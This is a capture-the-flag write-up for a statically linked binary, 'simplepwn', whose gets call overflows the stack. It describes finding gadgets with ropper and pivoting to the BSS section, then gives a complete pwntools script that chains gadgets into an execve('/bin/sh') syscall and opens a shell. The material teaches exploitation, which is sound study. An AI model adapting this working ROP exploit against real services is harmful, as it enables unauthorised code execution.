A statically compiled program has a gets function causing a buffer overflow.

We can't directly use a ROP chain, so we need to manually find gadgets to control registers. Use ropper --file=simplepwn --search "pop".

You can see that all the registers are available, but the rdi register has an \\x0a at the end, which is interpreted as the end of the string. This causes the ROP chain to be truncated. Additionally, the position of the bin_sh string is unknown, so the strategy is to first overflow and transfer control to the BSS section. Then, the ROP chain is laid out. Since pop rdi cannot be used directly, you have to manually search for a magic gadget that can assign a value to rdi.

The two gadgets can be used. pop rbx can be used directly, so just arrange the ROP chain accordingly.

Exploit Script (Exp)

from pwn import *
from LibcSearcher import *
from ctypes import *

# Start the process
io = process('./simplepwn')
elf = ELF('./simplepwn')

# Set context for debugging
context(log_level='debug', arch=elf.arch, os=elf.os)

# libC related setup
libc = elf.libc

# Debug function to attach GDB
def debug():
    gdb.attach(io, gdbscript="b *0x4011A2")
    pause()

# Function to get address from received data
def get_addr():
    return u64(io.recvuntil(b'\\x7f')[-6:].ljust(8, b'\\x00'))

# Function to get the system address
def get_sys():
    return libcbase + next(libc.search(b'/bin/sh\\x00')), libcbase + libc.sym['system']

# Shortcuts for reading and writing
r = lambda num: io.recv(num)
ru = lambda data: io.recvuntil(data)
rl = lambda: io.recvline()
s = lambda data: io.send(data)
sl = lambda data: io.sendline(data)
sla = lambda data, pay: io.sendlineafter(data, pay)
uu64 = lambda size: u64(io.recv(size).ljust(8, b'\\x00'))
uu32 = lambda size: u32(io.recv(size).ljust(4, b'\\x00'))
itr = lambda: io.interactive()
li = lambda x: print('\\x1b[01;38;5;214m' + x + '\\x1b[0m')

# BSS section address + padding size
bss = 0x408220 + 0x300

# Gadget addresses (these values are found using ropper)
rdi = 0x000000000040230a
rax = 0x0000000000401001
rsi = 0x000000000040499b
rdx = 0x0000000000404514
rbp = 0x0000000000401123
syscall = 0x0000000000404676
rbx = 0x0000000000403fd5
magic = 0x00000000004048ff
leave = 0x4011A7

ru(b'Welcome to Hackaday 2024! This is a very simple challenge :)')

# First payload: overflow and jump to the BSS section
pay = b'/bin/sh\\x00' + b'a'*0x68 + p64(bss) + p64(0x401191)
sl(pay)

# Second payload: Set up the ROP chain for system call
pay = b'/bin/sh\\x00' + p64(rbx) + p64(0x4084b0) + p64(rsi) + p64(0) + p64(rdx) + p64(0) + p64(syscall) * 5 + p64(magic) + p64(syscall)
pay += p64(bss) + p64(rbp) + p64(0x4084b0) + p64(rax) + p64(0x3b) + p64(leave)

# Sleep for a brief moment before sending the second payload
sleep(0.1)

# Send the second payload
sl(pay)

# Interact with the shell
itr()